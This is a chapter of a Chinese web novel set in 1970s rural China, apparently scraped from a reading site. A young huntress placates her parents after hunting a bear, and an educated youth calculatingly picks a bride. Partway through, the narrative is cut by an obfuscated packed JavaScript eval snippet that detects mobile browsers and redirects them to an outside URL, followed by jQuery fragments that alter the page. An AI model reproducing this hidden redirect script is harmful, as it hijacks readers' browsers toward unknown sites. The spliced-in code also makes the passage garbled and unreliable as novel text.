默认冷灰
24号文字
方正启体

10. 第 10 章

作者:果汁清酒本书字数:K更新时间:
    季好来回折腾了两趟,回村时已是夜半三更,好在季家住在村尾,不容易被人发现。


    她熟练地爬墙而入。


    堂屋门虚掩着,季好脚刚迈过门槛,父母房间的煤油灯亮了。


    她喊了声:“爸,妈,我先洗澡,你们把桌上的东西整理一下嗷~~~”


    于半芹以为这次跟以往差不多。


    等看到桌上散落开的一堆,有大团结,有票,粮票、工业券都有,她眼珠儿顿时瞪得溜圆。


    忍不住生气地唠叨:“你看好妹儿,一天天的,阳奉阴违。”


    “说多少次不能以身犯险,全当耳旁风,都怪你小时候惯得厉害,什么都由着她,现在好了,胆子肥上天了。”


    季四勇拿过放板凳上的蒲扇。


    小意殷勤地给媳妇儿扇风,“媳妇儿,她那胆子可不是我一个人惯出来的嗷,你也有份的。”


    于半芹微眯着眼,威胁地瞪着他。


    季四勇牛眼眨巴眨巴,非常识时务地把前一句话火速吞了回去,“……嗯,没错,怪我,都是我惯的。”


    “等下我一定好好说她。”


    于半芹又不乐意了,“深更半夜说什么说。你不看看好妹儿几天没睡个饱觉了,要说她啥时候不能说?非得这个时候,你这个爸当得真是简单哦,一点不知道不心疼女儿。”


    季四勇:……


    看吧。


    他就说好妹儿胆大包天,喜欢先斩后奏不是自己一个人的成果。


    季四勇嘿嘿笑了两声。


    扇风的动作更快了,“好好好,我改天说她。”


    “你说你,生什么气嘛,气出病来无人替,我又要心疼~~”


    于半芹一把抢过蒲扇,往季四勇胳膊上不轻不重拍了一下:“……等好妹儿出来你不准油嘴滑舌,免得她又学一些坏毛病。”


    她嘴上凶着,眼角眉梢却都带着笑意,对男人的甜言蜜语显然很受用。


    季四勇慢慢挪动乏力的那条腿,半站到媳妇儿身后。


    粗糙的大手轻轻按在她肩上:“好妹儿要强,心里头的主意大得很,这点像你。”


    “哪儿像?”


    “咋不像?当然是哪个一门心思嫁我这个穷猎户?”


    “呸!”于半芹耳根一热,没好气地拧了季四勇手臂一下,“我那是一时糊涂。”


    老夫老妻,吵吵闹闹才是生活。


    少顷。


    甩着湿漉漉头发的季好回屋了。


    于半芹招呼她坐下,拿起毛巾对着圆溜溜的脑袋一顿揉搓,“这头发也不知道像谁了,多得跟老林子里的草一样……”


    “赵友兰想有还没有呢。”


    季好吐了吐舌头。


    一边享受母亲的擦头服务,一边伸手拨弄桌上的票子:“咱家有九张工业券了,我跟洪胖子打听过,他们县百货商场的轮椅需要十五张。”


    “等过阵子给这笔钱和工业券想到了合适的理由,我就到遵匀跟人换,说不定年底咱就能弄个轮椅回来,届时爸出入就方便多了。”


    季四勇被闺女一片孝心感动得稀里哗啦。


    “没有轮椅也不耽误我出门,那拐杖我使得多好,虎虎生风,和本来的腿没啥区别。”


    “好妹儿,你才是我和你妈最重要的宝贝,不要为了劳什子的轮椅去冒险。”


    季好一听,暗道完犊子!


    果然!


    妈妈一开始动作挺轻柔的,听到爸爸这句话,手下动作不知不觉就用上了劲儿,季好被揉得东倒西歪,龇牙咧嘴。


    “没冒险。”


    “哪里冒险了?”她忙不迭狡辩,“我做了完整的计划,评估好风险,确定能在不受伤的情况下猎杀猎物才追的,并没有不动脑子莽上去。”


    “这不是刚巧遇到了野猪,又碰到黑坨坨吗?爸,你说过的,野猪毛最适合诱捕它了。”


    于半芹不懂太多野兽习性。


    但跟季四勇生活半辈子,季四勇教女儿时她都会听上几句,熊瞎子跟野猪群会争地盘这事她是知道。


    “你还敢拿野猪毛诱黑坨坨?”她一把丢开毛巾,揪住女儿的耳朵,“猎野猪还不够,还敢去招惹黑坨坨?!”


    她声音发颤,又气又急:“那畜生一掌能拍断碗口粗的树……”


    “好妹儿你真的,真要把我们气死了。”


    季好缩起脖子,张了张嘴,想辩解自己很有把握。她对周围环境的熟悉不低于山里的各类野兽,就算猎不到也有本事逃掉。


    但这会子,似乎不管说什么都起不到灭火效果,反而会火上浇油。


    季好眼珠滴溜转了两圈。


    突然“哎哟”一声捂住腿。


    于半芹的手立刻松了力道,顾不上骂她,急得声音都变了调:“咋了,伤哪儿了?让妈看看。”


    “没事没事。”


    季好龇牙按着腿:“就是腿突然麻了,酸酸痛痛……”


    话没说完,于半芹把她按在长凳坐好,抬起她的小腿揉搓着。


    “妈,真没事儿。”


    季好的声音渐渐放缓,“你看,手,腿,脖子,除了被树枝刮掉的那点皮,没有严重的伤,我可惜命的嘞。”


    “我逮的时候有按爸教的法子处理,不仅野猪毛上绑了驱邪红绳,陷阱周围撒了硫磺,还专程寻了高处,它如果不进陷阱,那我放弃就得了,所以你看,你闺女心里有谱着呢。”


    这话半真半假。


    驱邪红绳是真,硫磺是假,那头熊是被她用涂了乌头汁的箭簇射了眼,再用□□毙的命。


    过程确实惊险,只是没必要跟家里讲。


    但她不讲,季四勇也能估出大概。


    只是没有当着妻子的面戳破而已,免得她好不容易回到胸腔的心再次被提到嗓子眼。


    季四勇还帮忙找补:“我们要相信好妹儿,她是有数的。”


    于半芹斜了他一眼。


    又开始和稀泥,知不知道这样很烦人啊!


    “好妹儿,你以后不准再猎黑坨坨,吓人得很,你妈还想多活几年。”


    季好立刻乖觉地竖起手发誓:“保证不猎了,以后我就打打兔子野鸡。”


    这时的于半芹不知道明后年上头会颁新规定,什么黑坨坨白坨坨都不许猎,谁猎谁违法,一个劲儿担忧呢。


    “妈你数散钱,爸你数大团结。”


    她则把全国粮票和工业券收进自己的小木匣里。


    数完总共四百二十六块。


    加上之前攒的两百多,快七百了,年底大队分钱还能有一点,到省城看病肯定是够了。


    就是这钱……该怎么过明路呢?


    之前跟于卫华处对象就是看中他毕业能端铁饭碗,那样自己赚的外水可以混在他的工资、单位福利里,光明正大拿出来用。


    结果……


    啊啊啊啊,可恶的于三娃。


    这次相亲大会她一定要抓住机会,好好相个体力好、干活勤快,嘴还严的人。


    她在嘀咕哪个可以考察,哪个一定不行时,伤好得差不多、已回到兵团的邵礼垚也在思索这个问题。


    自打他生出这个念头就旁敲侧击打听过,要说条件最好的莫过于书记的孙女。


    叫于婉秋的女同志。


    当然,所谓的条件好不是几天能吃一顿肉,一个季度能做一身新衣,而是因为于克光这一家是少民头于姓威望最高的一家。


    辈分高,子女也成才。


    二女儿在县里当干部,三儿子,也就是于婉秋的爸是遵匀齿轮厂的技术工。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996687|178201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    其他子女老老实实种田。


    暂时没发现谁特别拖后腿,如果入赘,不用担心以后被哪个混账连累。


    但是——


    于克光老奸巨猾,似乎格外重虚名。


    邵礼垚敏锐地在他身上闻到了同类的气息。


    他有自知之明,他们这类人最重视的是自己的名利。


    一旦他入赘于家,于克光为了展示自己的大公无私,不仅不会托他一把,还很可能卡他的资格。


    略思索一番后,邵礼垚先把于婉秋排除掉。


    第二个叫赵正梅。


    外姓人,家庭内部和谐非常护短,跟汉于这脉里的大队长于诚有姻亲关系。


    相比重虚名的书记于克光,正值中年的于诚更公道,更重实事。


    只不过赵正梅本人脾气不怎么样。


    一家子心气都高,指着她嫁到县里当城里人,未必看得上自己;


    便是费尽心机勾引成功,以这姑娘的虚荣骄纵,往后自己若有回城的机会,怕是很难甩掉这个包袱。


    其他女同志嘛……


    “……你说的是那天阴阳怪气嘲讽我们的女猎户?”


    邵礼垚推了推鼻梁上的眼镜,差点气笑。


    他今天跟后勤队开了一天的荒,累得腰都直不起来,刚回营地就被安永良拖到门口,说贺巧珍专程给他提供女同志的消息。


    合着就这?


    贺巧珍见他不领情。


    脸上笑容缓缓消失,也不高兴,“邵礼垚你什么态度啊?”


    “要不是在山里你帮我挡了一下,我才懒得费力不讨好,四处帮你打听。”


    邵礼垚眼里闪过一丝恍悟,原来是误会自己主动救她?!


    难怪。


    他还以为贺巧珍对自己芳心暗许了呢。


    但邵礼垚并不打算纠正,当即默认下这桩阴差阳错的救命之恩。


    “……算我语气不好,多谢你为我奔波,我只是不明白为什么说起她?”


    安永良也很好奇。


    打岔问贺巧珍:“那女猎户家里啥情况?为什么说她很合适?”


    得了道歉,贺巧珍也消了气,来了精神:“她家只有三口人,关系是村里最简单的;人黑了点,但长得其实满好看的,而且人家很有能耐。你们知道吗?前两天全村吃肉,肉哪来的?她打的。”


    “我听老知青们说,大队对社员们捉兔子、捕一两条鱼一向睁只眼闭只眼,不会上纲上线找麻烦,那对专职猎户肯定也一样。”


    “更别提她还是老书记的外孙女,藏点猎物就更不用担心了。”


    “如果能跟她结婚,不就可以经常改善生活吗?”


    之前大伙儿结伴进斑鸠岭不还是因为馋肉,想打牙祭吗?


    贺巧珍不清楚邵礼垚心里那些糟心烂肺的算计,只是把他当救命恩人,真心实意为他打算。


    她打本心觉得知青势单力薄,找家里人太多的对象容易吃亏,不如找季好这样跟村里大姓有关系,却又没那么紧密的姑娘。


    一想到有吃不完的肉,贺巧珍嘴里开始吸溜口水,这一秒她恨不得自己是男的,取而代之。


    邵礼垚听完贺巧珍的话,眼镜后面的双眼微微眯起。


    心里早已意动。


    嘴上却严词拒绝:“贺知青,谢谢你。这些信息很有用。”


    “但我想人不该为了吃几块肉就草率的决定革命伴侣,等相亲大会我会先跟她聊聊,确定思想上彼此是同路人才能步入婚姻。”


    贺巧珍闻言,只觉灵魂恍若被洗涤了一遍,眼含崇拜的看着邵礼垚。


    不愧是危难关头舍己救她的人啊。


    情操就是高尚!


    一旁的安永良陷入困惑,兄弟的思想觉悟都这么高了吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)